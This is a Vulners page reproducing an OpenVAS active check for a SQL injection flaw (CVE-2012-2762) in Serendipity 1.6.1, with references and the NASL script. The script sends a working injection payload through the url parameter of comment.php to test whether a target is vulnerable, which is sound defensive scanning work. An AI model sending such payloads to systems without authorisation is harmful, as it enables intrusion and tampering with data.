Lucene search
+L

Serendipity 'functions_trackbacks.inc.php' SQLi Vulnerability - Active Check

🗓️ 25 Jul 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 25 Views

Serendipity 'functions_trackbacks.inc.php' SQLi Vulnerability. SQL injection vulnerability in Serendipity 1.6.1 allows attackers to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Serendipity 1.6.1 SQL Injection Vulnerability
7 Jun 201200:00
zdt
cve
CVE
CVE-2012-2762
7 Jun 201219:00
cve
cvelist
Cvelist
CVE-2012-2762
7 Jun 201219:00
cvelist
dsquare
Dsquare
Serendipity 1.6.1 SQL Injection
20 Jan 201300:00
dsquare
euvd
EUVD
EUVD-2012-2742
7 Oct 202500:30
euvd
htbridge
htbridge
SQL injection in Serendipity
16 May 201200:00
htbridge
nvd
NVD
CVE-2012-2762
7 Jun 201219:55
nvd
packetstorm
Packet Storm
Serendipity 1.6.1 SQL Injection
7 Jun 201200:00
packetstorm
prion
Prion
Sql injection
7 Jun 201219:55
prion
securityvulns
securityvulns
SQL injection in Serendipity
18 Jun 201200:00
securityvulns
Rows per page
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:s9y:serendipity";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103526");
  script_cve_id("CVE-2012-2762");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("2026-04-17T15:51:27+0000");

  script_name("Serendipity 'functions_trackbacks.inc.php' SQLi Vulnerability - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53620");
  script_xref(name:"URL", value:"https://github.com/s9y/Serendipity/commit/87153991d06bc18fe4af05f97810487c4a340a92#diff-1");
  script_xref(name:"URL", value:"http://blog.s9y.org/archives/241-Serendipity-1.6.2-released.html");
  script_xref(name:"URL", value:"https://www.htbridge.com/advisory/HTB23092");

  script_tag(name:"last_modification", value:"2026-04-17 15:51:27 +0000 (Fri, 17 Apr 2026)");
  script_tag(name:"creation_date", value:"2012-07-25 14:02:47 +0200 (Wed, 25 Jul 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_active");
  script_family("Web application abuses");
  script_tag(name:"solution_type", value:"VendorFix");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("gb_serendipity_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("serendipity/http/detected");

  script_tag(name:"solution", value:"Updates are available, please see the references for details.");
  script_tag(name:"summary", value:"Serendipity is prone to an SQL injection (SQLi) vulnerability
  because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.");

  script_tag(name:"impact", value:"A successful exploit may allow an attacker to compromise the
application, access or modify data, or exploit latent vulnerabilities
in the underlying database.");

  script_tag(name:"affected", value:"Serendipity 1.6.1 is vulnerable, other versions may also be affected.");
  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/comment.php?type=trackback&entry_id=1&url=%27%20OR%201%20--%202";

if(http_vuln_check(port:port, url:url, pattern:"<error>1</error>", extra_check:"trackback failed")) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation